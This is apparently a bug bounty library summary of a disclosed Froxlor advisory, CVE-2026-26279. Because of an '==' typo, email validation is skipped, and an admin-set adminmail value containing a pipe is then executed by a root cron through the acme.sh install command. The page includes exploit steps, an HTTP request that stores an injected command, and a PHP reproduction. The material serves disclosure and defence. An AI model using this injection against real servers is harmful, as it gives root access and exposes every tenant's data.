# Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection

Typo `==` instead of `=` disabled email validation in Froxlor, letting an admin store a pipe payload in panel.adminmail that a root cron executed via acme.sh install.

- Payout: Research
- Severity: critical
- Program: Froxlor
- Found by: Moonster8282
- Disclosed: 2026-03-03
- CVE: CVE-2026-26279
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-33mp-8p67-xj7c
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-33mp-8p67-xj7c
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:php technique:chained technique:source-review vuln:command-injection vuln:misconfiguration vuln:privilege-escalation vuln:rce

**Target:** Froxlor admin settings panel and acme.sh install cron
**Root cause:** In validateFormFieldEmail/Url a standalone `$fielddata['string_type'] == 'mail'` comparison is a no-op, so string_type is never set and FILTER_VALIDATE_EMAIL is skipped, falling back to a permissive regex that allows shell metacharacters. The stored panel.adminmail is then concatenated unescaped into a root cron shell command where `|` is explicitly whitelisted in safe_exec.
**Steps:**
1. Log in as Froxlor admin and fetch CSRF token from `/admin_settings.php?page=overview&part=all`.
2. POST `panel_adminmail=x@x.com | touch /tmp/VULN2_RCE_PROOF` with csrf_token and send=send; value is stored verbatim because email validation is bypassed.
3. Ensure Let's Encrypt is enabled and acme.sh is not installed so the cron reaches AcmeSh.php:428.
4. Cron runs as root: `wget -O - https://get.acme.sh | sh -s email=x@x.com | touch /tmp/VULN2_RCE_PROOF`; pipe is in allowedChars so safe_exec passes it.
5. Verify `/tmp/VULN2_RCE_PROOF` exists owned by root:root.
**How found:** Code review of the validation layer spotted a standalone `==` comparison whose result is discarded, meaning string_type is never assigned; tracing where email-typed settings are consumed led to the acme.sh install command that whitelists `|`.
**Exploitation:** Authenticated admin sets panel.adminmail to `x@x.com | <command>`. When the root cron job runs AcmeSh::checkInstall() with Let's Encrypt enabled and acme.sh missing, the value is concatenated into `wget -O - https://get.acme.sh | sh -s email=<value>`; the whitelisted pipe chains the attacker command, executing as root on the host.
**Escalation:** Chains a validation-logic defect (CWE-482) with a command injection sink (CWE-78) to cross the panel-admin-to-OS-root boundary, exposing all tenants' data, DBs, mail and SSL keys.
**Insight:** Grep for standalone comparison expressions (`$x == 'literal';`) in validation code — a discarded result silently disables the check. Then trace every setting declared as email/url type to shell sinks, and check safe_exec-style allowlists: a per-call `['|']` whitelist re-opens injection even when the global filter blocks pipes.

## Proof of concept (copied exactly from the original report)

**PHP standalone reproduction of == vs = validation bug**

```
<?php
// Standalone reproduction — no Froxlor installation needed.
// Reproduces the exact logic from Data.php lines 113-169.

function validateEmail_buggy($value) {
    $fielddata = [];
    @($fielddata['string_type'] == 'mail');  // BUG: line 169
    // string_type never set → FILTER_VALIDATE_EMAIL skipped → fallback regex
    return preg_match('/^[^\r\n\t\f\0]*$/D', $value) ? 'PASS' : 'REJECT';
}

function validateEmail_fixed($value) {
    $fielddata = [];
    $fielddata['string_type'] = 'mail';      // FIX
    return filter_var($value, FILTER_VALIDATE_EMAIL) ? 'PASS' : 'REJECT';
}

$tests = ['admin@example.com', 'not-an-email', 'x@x.com | touch /tmp/pwned'];
foreach ($tests as $t) {
    echo sprintf("%-40s  buggy=%-6s  fixed=%s\n", $t, validateEmail_buggy($t), validateEmail_fixed($t));
}
```

**HTTP request storing malicious adminmail value**

```
POST /admin_settings.php?page=overview&part=panel HTTP/1.1
Cookie: [authenticated admin session]

csrf_token=...&send=send&page=overview&panel_adminmail=x@x.com+|+touch+/tmp/VULN2_RCE_PROOF
```

